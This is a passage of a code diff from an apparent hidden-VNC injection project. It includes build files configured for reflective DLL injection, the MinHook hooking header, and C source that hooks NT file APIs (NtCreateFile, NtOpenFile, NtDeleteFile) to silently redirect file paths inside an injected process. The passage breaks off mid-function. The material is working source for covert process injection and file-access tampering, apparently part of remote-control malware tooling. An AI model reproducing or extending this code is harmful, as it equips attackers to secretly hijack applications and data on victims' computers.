<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
<PostBuildEvent>
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
<PostBuildEvent>
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
<ClCompile Include="src\NtApiHooks.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\NtApiHooksConfig.h" />
<ClInclude Include="src\ReflectiveDLLInjection.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
<ClInclude Include="src\NtApiHooks.h" />
<ClInclude Include="src\MinHook.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,41 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\NtApiHooks.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\NtApiHooks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\MinHook.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\NtApiHooksConfig.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
BIN
View File
Binary file not shown.
+185
View File
@@ -0,0 +1,185 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
#error MinHook supports only x86 and x64 systems.
#endif
#include <windows.h>
// MinHook Error Codes.
typedef enum MH_STATUS
{
// Unknown error. Should not be returned.
MH_UNKNOWN = -1,
// Successful.
MH_OK = 0,
// MinHook is already initialized.
MH_ERROR_ALREADY_INITIALIZED,
// MinHook is not initialized yet, or already uninitialized.
MH_ERROR_NOT_INITIALIZED,
// The hook for the specified target function is already created.
MH_ERROR_ALREADY_CREATED,
// The hook for the specified target function is not created yet.
MH_ERROR_NOT_CREATED,
// The hook for the specified target function is already enabled.
MH_ERROR_ENABLED,
// The hook for the specified target function is not enabled yet, or already
// disabled.
MH_ERROR_DISABLED,
// The specified pointer is invalid. It points the address of non-allocated
// and/or non-executable region.
MH_ERROR_NOT_EXECUTABLE,
// The specified target function cannot be hooked.
MH_ERROR_UNSUPPORTED_FUNCTION,
// Failed to allocate memory.
MH_ERROR_MEMORY_ALLOC,
// Failed to change the memory protection.
MH_ERROR_MEMORY_PROTECT,
// The specified module is not loaded.
MH_ERROR_MODULE_NOT_FOUND,
// The specified function is not found.
MH_ERROR_FUNCTION_NOT_FOUND
}
MH_STATUS;
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
// MH_QueueEnableHook or MH_QueueDisableHook.
#define MH_ALL_HOOKS NULL
#ifdef __cplusplus
extern "C" {
#endif
// Initialize the MinHook library. You must call this function EXACTLY ONCE
// at the beginning of your program.
MH_STATUS WINAPI MH_Initialize(VOID);
// Uninitialize the MinHook library. You must call this function EXACTLY
// ONCE at the end of your program.
MH_STATUS WINAPI MH_Uninitialize(VOID);
// Creates a Hook for the specified target function, in disabled state.
// Parameters:
// pTarget [in] A pointer to the target function, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
// ppTarget [out] A pointer to the target function, which will be used
// with other functions.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
// Removes an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
// Enables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// enabled in one go.
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
// Disables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// disabled in one go.
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
// Queues to enable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be enabled.
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
// Queues to disable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be disabled.
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
// Applies all queued changes in one go.
MH_STATUS WINAPI MH_ApplyQueued(VOID);
// Translates the MH_STATUS to its name as a string.
const char* WINAPI MH_StatusToString(MH_STATUS status);
#ifdef __cplusplus
}
#endif
+868
View File
@@ -0,0 +1,868 @@
//===============================================================================================//
// NT API Hooking Implementation
//===============================================================================================//
#ifdef __cplusplus
extern "C" {
#endif
#include "NtApiHooks.h"
#include "NtApiHooksConfig.h"
#include "MinHook.h"
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "ntdll.lib")
// Global search and replacement strings (filled from parameter)
static WCHAR g_SearchString[512] = { 0 };
static WCHAR g_ReplacementString[512] = { 0 };
static BOOL g_HooksInitialized = FALSE;
static HANDLE g_LogFile = INVALID_HANDLE_VALUE;
// Helper function to log debug info
void LogDebug(const WCHAR* message) {
#if ENABLE_DEBUG_LOGGING
if (g_LogFile != INVALID_HANDLE_VALUE) {
DWORD written;
DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR);
WriteFile(g_LogFile, message, messageLen, &written, NULL);
const WCHAR newline[] = L"\r\n";
WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL);
FlushFileBuffers(g_LogFile);
}
#endif
}
void LogDebugA(const char* message) {
#if ENABLE_DEBUG_LOGGING
if (g_LogFile != INVALID_HANDLE_VALUE) {
DWORD written;
DWORD messageLen = (DWORD)strlen(message);
WriteFile(g_LogFile, message, messageLen, &written, NULL);
const char newline[] = "\r\n";
WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL);
FlushFileBuffers(g_LogFile);
}
#endif
}
// Helper function for case-insensitive wide string comparison
int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) {
for (SIZE_T i = 0; i < count; i++) {
WCHAR c1 = s1[i];
WCHAR c2 = s2[i];
// Convert to uppercase for comparison
if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A';
if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A';
// Also handle backslash vs forward slash
if (c1 == L'/') c1 = L'\\';
if (c2 == L'/') c2 = L'\\';
if (c1 != c2) return (c1 < c2) ? -1 : 1;
}
return 0;
}
// Helper function to normalize NT paths - skip \??\ prefix if present
const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) {
if (!path || !adjustedLength) return path;
SIZE_T length = *adjustedLength;
// Check for \??\ prefix (NT object namespace for DOS devices)
if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') {
*adjustedLength = length - 4;
return path + 4;
}
// Check for \Device\ or \DEVICE\ prefix
if (length >= 8 &&
(wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) {
// Don't adjust - these are device paths, not file paths
return path;
}
return path;
}
// NT API typedefs
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK {
union {
LONG Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation = 10,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileIdBothDirectoryInformation,
FileIdFullDirectoryInformation,
FileValidDataLengthInformation,
FileShortNameInformation,
FileIoCompletionNotificationInformation,
FileIoStatusBlockRangeInformation,
FileIoPriorityHintInformation,
FileSfioReserveInformation,
FileSfioVolumeInformation,
FileHardLinkInformation,
FileProcessIdsUsingFileInformation,
FileNormalizedNameInformation,
FileNetworkPhysicalNameInformation,
FileIdGlobalTxDirectoryInformation,
FileIsRemoteDeviceInformation,
FileUnusedInformation,
FileNumaNodeInformation,
FileStandardLinkInformation,
FileRemoteProtocolInformation,
FileRenameInformationBypassAccessCheck,
FileLinkInformationBypassAccessCheck,
FileVolumeNameInformation,
FileIdInformation,
FileIdExtdDirectoryInformation,
FileReplaceCompletionInformation,
FileHardLinkFullIdInformation,
FileIdExtdBothDirectoryInformation,
FileRenameInformationEx = 65,
FileRenameInformationExBypassAccessCheck,
FileMaximumInformation
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
// NT API function pointers
typedef LONG NTSTATUS;
typedef NTSTATUS(NTAPI* pNtCreateFile)(
PHANDLE FileHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
);
typedef NTSTATUS(NTAPI* pNtOpenFile)(
PHANDLE FileHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
);
typedef NTSTATUS(NTAPI* pNtDeleteFile)(
POBJECT_ATTRIBUTES ObjectAttributes
);
typedef NTSTATUS(NTAPI* pNtSetInformationFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
);
typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)(
POBJECT_ATTRIBUTES ObjectAttributes,
PVOID FileInformation
);
typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)(
POBJECT_ATTRIBUTES ObjectAttributes,
PVOID FileInformation
);
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
);
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
ULONG QueryFlags,
PUNICODE_STRING FileName
);
// Original function pointers
pNtCreateFile OriginalNtCreateFile = NULL;
pNtOpenFile OriginalNtOpenFile = NULL;
pNtDeleteFile OriginalNtDeleteFile = NULL;
pNtSetInformationFile OriginalNtSetInformationFile = NULL;
pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL;
pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL;
pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL;
pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL;
// Helper function to check if path needs redirection
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
if (!path || length == 0) return FALSE;
SIZE_T searchLen = wcslen(g_SearchString);
if (searchLen == 0 || length < searchLen) return FALSE;
// Normalize the path (strip \??\ prefix if present)
SIZE_T normalizedLength = length;
const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength);
if (g_LogFile != INVALID_HANDLE_VALUE) {
WCHAR tempPath[512] = { 0 };
SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511;
wcsncpy_s(tempPath, 512, normalizedPath, copyLen);
LogDebug(L"[NeedsRedirection] Checking normalized path: ");
LogDebug(tempPath);
LogDebug(L"[NeedsRedirection] Against search string: ");
LogDebug(g_SearchString);
}
if (normalizedLength < searchLen) return FALSE;
// Search for the search string in the normalized path (case-insensitive)
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebug(L"[NeedsRedirection] MATCH FOUND at position ");
WCHAR posStr[32];
wsprintfW(posStr, L"%zu", i);
LogDebug(posStr);
}
return TRUE;
}
}
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebug(L"[NeedsRedirection] NO MATCH");
}
return FALSE;
}
// Helper function to replace search string with the replacement string
WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) {
if (!originalPath || originalLength == 0 || !newLength) return NULL;
SIZE_T searchLen = wcslen(g_SearchString);
SIZE_T replaceLen = wcslen(g_ReplacementString);
if (searchLen == 0 || originalLength < searchLen) return NULL;
// Normalize the path
SIZE_T normalizedLength = originalLength;
const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength);
SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix
if (normalizedLength < searchLen) return NULL;
// Count occurrences (case-insensitive) in normalized portion
SIZE_T occurrences = 0;
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
occurrences++;
i += searchLen - 1; // Skip past this occurrence
}
}
if (occurrences == 0) return NULL;
// Calculate new length (prefix + modified path)
SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen));
WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR));
if (!newPath) return NULL;
// Copy prefix (\??\ or other) if present
SIZE_T destIdx = 0;
for (SIZE_T i = 0; i < prefixLength; i++) {
newPath[destIdx++] = originalPath[i];
}
// Perform replacement in normalized portion (case-insensitive)
SIZE_T srcIdx = 0;
while (srcIdx < normalizedLength) {
if (srcIdx <= normalizedLength - searchLen &&
wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) {
// Copy replacement string
for (SIZE_T j = 0; j < replaceLen; j++) {
newPath[destIdx++] = g_ReplacementString[j];
}
srcIdx += searchLen;
}
else {
newPath[destIdx++] = normalizedPath[srcIdx++];
}
}
*newLength = destIdx;
return newPath;
}
// Hook implementations
NTSTATUS NTAPI HookedNtCreateFile(
PHANDLE FileHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
// Only attempt redirection if hooks are properly initialized and we have the original function
if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
// Log all paths for debugging
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) {
WCHAR tempPath[512] = { 0 };
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
LogDebug(L"");
LogDebug(L"[NtCreateFile] Original Path: ");
LogDebug(tempPath);
}
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
WCHAR tempBuf[512] = { 0 };
SIZE_T copyLen = newLength < 511 ? newLength : 511;
wcsncpy_s(tempBuf, 512, buffer, copyLen);
LogDebug(L"[NtCreateFile] *** REDIRECTING TO: ");
LogDebug(tempBuf);
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
else {
LogDebug(L"[NtCreateFile] ReplacePath returned NULL");
}
}
}
NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
CreateOptions, EaBuffer, EaLength);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtOpenFile(
PHANDLE FileHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
// Log all paths for debugging
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) {
WCHAR tempPath[512] = { 0 };
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
LogDebug(L"");
LogDebug(L"[NtOpenFile] Original Path: ");
LogDebug(tempPath);
}
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
WCHAR tempBuf[512] = { 0 };
SIZE_T copyLen = newLength < 511 ? newLength : 511;
wcsncpy_s(tempBuf, 512, buffer, copyLen);
LogDebug(L"[NtOpenFile] *** REDIRECTING TO: ");
LogDebug(tempBuf);
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
else {
LogDebug(L"[NtOpenFile] ReplacePath returned NULL");
}
}
}
NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
